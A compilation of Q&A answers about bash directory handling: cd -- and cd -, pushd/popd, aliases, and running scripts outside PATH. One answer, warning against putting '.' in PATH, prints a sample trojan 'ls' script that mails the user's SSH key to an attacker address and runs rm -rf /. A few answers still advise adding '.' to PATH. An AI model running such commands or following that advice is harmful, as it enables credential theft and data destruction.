I know that cd ~- changes directory to $OLDPWD.
I'm using GNU bash, version 4.4.23(1)-release (x86_64-apple-darwin17.5.0) on a Macbook.
'cd --' appears to have the same behavior as 'cd ~-'.
Why?
With Bash -- is used to specify the end of a command options.
So cd -- means cd.
cd without argument change your current directory to your home directory (like cd ~).
The fact it leads you to your last PWD is a coincidence.
That's not correct. cd -- changes to your home directory, just like cd only. Consider cd -- a pure cd with no options and no parameters given. See also https://unix.stackexchange.com/a/11382.
Related
I want to accomplish this:
[zsh]$ pwd
/home/user
*[zsh]$ bash # enter to a bash shell at the same time as `cd ~/Desktop`.
[bash]$ pwd
/home/user/Desktop
[bash]$ exit
[zsh]$ pwd
**/home/user
I would like to know if there is any way to enter to the unix shell at the same time as changing a directory to some specific path. It's important that:
Line * is supposed to be a single-line command for entering a shell and changing a directory,
After exist from any new shell, it's expected to return to the latest location as it was before entering to the shell, see line **.
Using subshells is also useful for changing the current working directory temporary:
% (cd ~/Desktop && bash)
One straightforward answer consists in using a bash configuration file switching to the proper directory. By creating a file ~/.my_bashrc containing a single line:
cd ~/Desktop
you can then just type:
bash --rcfile ~/.my_bashrc
in a terminal to open a new shell directly in the Desktop directory.
Of course you can add other commands in ~/.my_bashrc (aliases, etc.), like in any regular bashrc file.
Simply do this.
cd /home/user/Desktop && bash
This will try to change your current directory to /home/user/Desktop and if it succeeds changes the shell to bash else throws error.
I think answer of #hchbaw is a bit tricky. I've just found a more effective solution from run bash command in new shell and stay in new shell after this command executes. In my case I can use:
bash --rcfile <(echo "cd ~/Desktop")
You can use pushd and popd commands:
pushd ~/Desktop && bash ; popd
pushd in this case is like "remember and cd" - it adds new directory to the top of directory stack, making it current directory. Next you start bash and after you exit bash, popd takes you back to the directory remembered by pushd.
EDIT: changed && to ; for better error handling, as pointed out in comment.
The commands cd ../dir2 and cd ..; cd dir2 are equivalent. However, if one issues
next the command cd - the results are different.
Why?
cd - will change the current directory to the last one in its history. After executing your first command, cd ../dir2, the last directory that cd - will read is whatever sibling directory you were in initially. Meanwhile, cd ..; cd dir2 executes 2 separate commands, therefore writing to history twice, and making the last directory be the parent rather than the sibling.
See this: What does 'cd -' stand for?
The cd utility only remembers the last directory. In the second example, it remembers where it was when it did cd dir2; in the first, it remembers where it was when it did cd ../dir2. So cd - is bound to give different results.
According to the bash manual:
OLDPWD is the previous working directory as set by the cd command. (see bash variables)
cd - is equivalent to cd $OLDPWD. (see shell builtins)
There are certain folders I am cd'ing into all day long...for instance, "dev" which is in my Documents folder.
I had this bright idea to set up symlinks so I could simply type "dev" and Terminal would cd into that directory. This doesn't seem to work though. My two attempts are below.
Anyone know how to do this or is there a better way?
ln -s /Users/kelly/Documents/Dev/ dev
ln -s 'cd /Users/kelly/Documents/Dev/' dev
$ dev
bash: dev: command not found
With a symlink you can use
ln -s your/dev/directory/ dev
but you can only use it in the directory you created it in and in the form of cd dev.
If you just want to type dev at any point, use an alias:
alias dev="cd your/dev/direcrory/"
(this should then be in your ~/.bashrc)
You could use an alias for dev. Add to your ${HOME}/.bashrc
alias dev='cd /Users/kelly/Documents/Dev/'
and bash correctly parses ~ in an alias:
alias dev='cd ~/Documents/Dev/'
Using an alias eliminates the need for the symbolic link at all.
You have to write cd dev in your case, but it might be better for you to use bash aliases...
Write in your $HOME/.bash_aliases file:
alias dev='cd /Users/kelly/Documents/Dev/'
after opening a new terminal executing dev will give you, what you want...
In your $HOME/.bashrc, declare an array which maps directories to aliases.
declare -A __diraliasmap=(
[dev]="/Users/kelly/Documents/Dev"
[other]="/Users/kelly/Documents"
)
Also define a command_not_found_handle function. If defined, this function will be run by bash when a command is not found. In the function, check whether the command which failed is listed as an alias for a directory and, if so, cd to the associated directory.
command_not_found_handle()
{
if [[ ${__diraliasmap[$1]+set} = set ]]; then
builtin cd "${__diraliasmap[$1]}"
else
false
fi
}
I am trying to source the Firefox addon sdk. To do so, I must cd into the sdk's dir, then run source bin/activate. If I don't cd into that dir, and source directly from whatever path I am in currently, the following happens:
$ source ~/src/devtools/addon-sdk/bin/activate
Welcome to the Add-on SDK. Run 'cfx docs' for assistance.
$ cfx
-bash: cfx: command not found
I want to have an alias for that, which cd's into the sdk, sources it, then returns to my current directory:
alias acfx='cd ~/src/devtools/addon-sdk && source bin/activate && cd "$(dirname "$0")"'
This sources the sdk correctly, but alas does not return to the directory I invoked the alias:
$ acfx
Welcome to the Add-on SDK. Run 'cfx docs' for assistance.
dirname: illegal option -- b
usage: dirname path
I am lost here, how do I return to the original directory? Or specify a 'working directory' for source?
You can execute cd and subsequent command in a sub-shell like this:
(cd ~/src/devtools/addon-sdk && source bin/activate)
If for some reason you don't want to create sub-shell then use cd - to change dir to the the previous dir:
cd ~/src/devtools/addon-sdk && source bin/activate && cd -
You can use the pushd and popd shell builtins:
alias acfx='pushd ~/src/devtools/addon-sdk && source bin/activate && popd'
The $(dirname "$0") trick only works when invoked from a script; on the prompt, $0 will be bash, so you'd try to return to . (because dirname bash prints .). In your case, I'm guessing $0 is something different; maybe -bash?
You can save the previous path and then go to it:
prev_dir=$(pwd); ... your commands ... ; cd $prev_dir
In your case:
alias acfx='prev_dir=$(pwd); cd ~/src/devtools/addon-sdk; source bin/activate; cd $prev_dir'
I am not curious if this solves your original problem. can you try cd to that dir, source , cd to some other temp dir, and then try cfx ? i mean sourcing should not be different whether done from the current dir, or some specific dir. If the script assumes the user to be present in the current dir, then it's wrong. May be in that case adding export PATH=~/src/devtools/addon-sdk:$PATH in script might help
I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.